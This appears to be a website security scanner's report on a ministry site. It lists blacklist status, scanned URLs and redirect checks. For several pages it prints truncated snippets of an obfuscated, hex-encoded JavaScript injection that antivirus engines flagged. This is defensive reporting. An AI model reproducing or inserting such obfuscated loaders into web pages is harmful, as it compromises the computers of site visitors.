Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=clearvoiceministries.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://clearvoiceministries.org/ | 200 OK Content-Length: 13117 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:61:62:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:62:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:62:25:6a:69 Antivirus reports:
| ||
http://clearvoiceministries.org/floating-1.12.js | 200 OK Content-Length: 16900 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:5d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:5d:25:6a:69:5a:17:34 Antivirus reports:
| ||
http://clearvoiceministries.org/Chaplains.html | 200 OK Content-Length: 9109 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:61:62:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:62:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:62:25:6a:69 Antivirus reports:
| ||
http://clearvoiceministries.org/index.html | 200 OK Content-Length: 13117 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:61:62:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:62:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:62:25:6a:69 Antivirus reports:
| ||
http://clearvoiceministries.org/Contact.html | HTTP/1.1 301 Moved Permanently Connection: close Date: Tue, 13 Jan 2015 05:10:45 GMT Location: http://clearvoiceministries.org/contact.html Server: NOYB Content-Type: text/html; charset=iso-8859-1 | clean |
http://clearvoiceministries.org/contact.html | 200 OK Content-Length: 10885 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:61:62:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:62:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:62:25:6a:69 Antivirus reports:
| ||
http://clearvoiceministries.org/test404page.js | HTTP/1.1 302 Found Connection: close Date: Tue, 13 Jan 2015 05:10:46 GMT Location: http://www.surewest.com/error404.php Server: NOYB Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.surewest.com/error404.php | 200 OK Content-Length: 10669 Content-Type: text/html | clean |
http://www.surewest.com/assets/SpryAssets/SpryTabbedPanels.js | 200 OK Content-Length: 10940 Content-Type: application/x-javascript | clean |
http://clearvoiceministries.org/assets/javascript/java_v2.js | HTTP/1.1 302 Found Connection: close Date: Tue, 13 Jan 2015 05:10:49 GMT Location: http://www.surewest.com/error404.php Server: NOYB Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.surewest.com/test404page.js | 200 OK Content-Length: 10669 Content-Type: text/html | clean |
http://www.surewest.com/assets/javascript/java_v2.js | 200 OK Content-Length: 8264 Content-Type: application/x-javascript | clean |
http://www.surewest.com/assets/javascript/collapse-panel.js | 200 OK Content-Length: 13070 Content-Type: application/x-javascript | clean |
http://www.surewest.com/assets/javascript/ieupdate.js | 200 OK Content-Length: 158 Content-Type: application/x-javascript | clean |
http://www.surewest.com/ | HTTP/1.1 200 OK Date: Tue, 13 Jan 2015 05:10:46 GMT Server: Microsoft-IIS/7.5 Content-Length: 105 Content-Type: text/html X-Powered-By: ASP.NET | clean |
http://www.consolidated.com/merger/?from=surewest&return=%2f | 200 OK Content-Length: 4212 Content-Type: text/html | clean |
http://www.consolidated.com/merger/processor.php?return=/&location=CA | HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Tue, 13 Jan 2015 05:10:54 GMT Pragma: no-cache Location: http://www.surewest.com/set-merger-notice.php?return=%2F Server: Apache/2.2.3 (Red Hat) DAV/2 PHP/5.1.6 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=magfalh2httbvt63rka2jerft2; path=/ X-Powered-By: PHP/5.1.6 | clean |
http://www.surewest.com/set-merger-notice.php?return=%2f | HTTP/1.1 302 Moved Temporarily Date: Tue, 13 Jan 2015 05:10:48 GMT Location: http://www.surewest.com/ Server: Microsoft-IIS/7.5 Content-Length: 147 Content-Type: text/html; charset=UTF-8 Set-Cookie: merger-notice=1; expires=Fri, 10-Jan-2025 05:10:49 GMT; path=/; domain=.surewest.com X-Powered-By: ASP.NET | clean |
http://www.surewest.com/processor.php?return=/&location=KS | 200 OK Content-Length: 10669 Content-Type: text/html | clean |
http://www.surewest.com/email/login/ | 200 OK Content-Length: 1749 Content-Type: text/html | clean |
http://code.jquery.com/jquery-1.9.1.js | 200 OK Content-Length: 268381 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: clearvoiceministries.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 13 Jan 2015 05:10:41 GMT
Accept-Ranges: bytes
ETag: "6a666-333d-52170edb"
Server: NOYB
Content-Length: 13117
Content-Type: text/html
Last-Modified: Fri, 23 Aug 2013 07:27:23 GMT
...13117 bytes of data.
GET / HTTP/1.1
Host: clearvoiceministries.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 13 Jan 2015 05:10:41 GMT
Accept-Ranges: bytes
ETag: "6a666-333d-52170edb"
Server: NOYB
Content-Length: 13117
Content-Type: text/html
Last-Modified: Fri, 23 Aug 2013 07:27:23 GMT
...13117 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: clearvoiceministries.org
Referer: http://www.google.com/search?q=clearvoiceministries.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: clearvoiceministries.org
Referer: http://www.google.com/search?q=clearvoiceministries.org
Result:
The result is similar to the first query. There are no suspicious redirects found.